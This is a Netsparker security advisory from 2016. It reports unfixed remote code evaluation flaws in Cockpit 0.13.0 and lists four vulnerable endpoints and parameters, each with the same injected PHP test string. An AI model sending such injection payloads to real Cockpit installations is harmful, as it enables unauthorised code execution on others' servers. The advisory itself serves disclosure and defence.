Information
--------------------
Advisory by Netsparker
Name: Multiple RCE Vulnerabilities in Cockpit
Affected Software : Cockpit
Affected Versions: 0.13.0
Vendor Homepage : https://getcockpit.com 
Vulnerability Type : Remote Code Evaluation
Severity : Important
Status : Not fixed
Netsparker Advisory Reference : NS-16-016

Technical Details
--------------------

Proof of Concept URLs for RCE vulnerabilities in Cockpit;

URL /cockpit-0.13.0/accounts/save
Parameter Name account._id
Parameter Type JSON
Attack Pattern '+print(int)0xFFF9999-22+'

URL /cockpit-0.13.0/auth/check
Parameter Name auth%5buser%5d
Parameter Type POST
Attack Pattern '+print(int)0xFFF9999-22+'

URL /cockpit-0.13.0/api/galleries/findOne
Parameter Name filter._id
Parameter Type JSON
Attack Pattern '+print(int)0xFFF9999-22+'

URL /cockpit-0.13.0/api/collections/findOne
Parameter Name filter._id
Parameter Type JSON
Attack Pattern '+print(int)0xFFF9999-22+'

For more information on remote code evaluation vulnerabilities read the article Remote Code Evaluation.

Advisory Timeline
--------------------
30 Jun 2016 - Issue reported
Jul - Sep 2016 - Several attempts to get in touch
19 Sep 2016 - Advisory released

Solution
--------------------
-

Credits & Authors
--------------------
This issues has been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.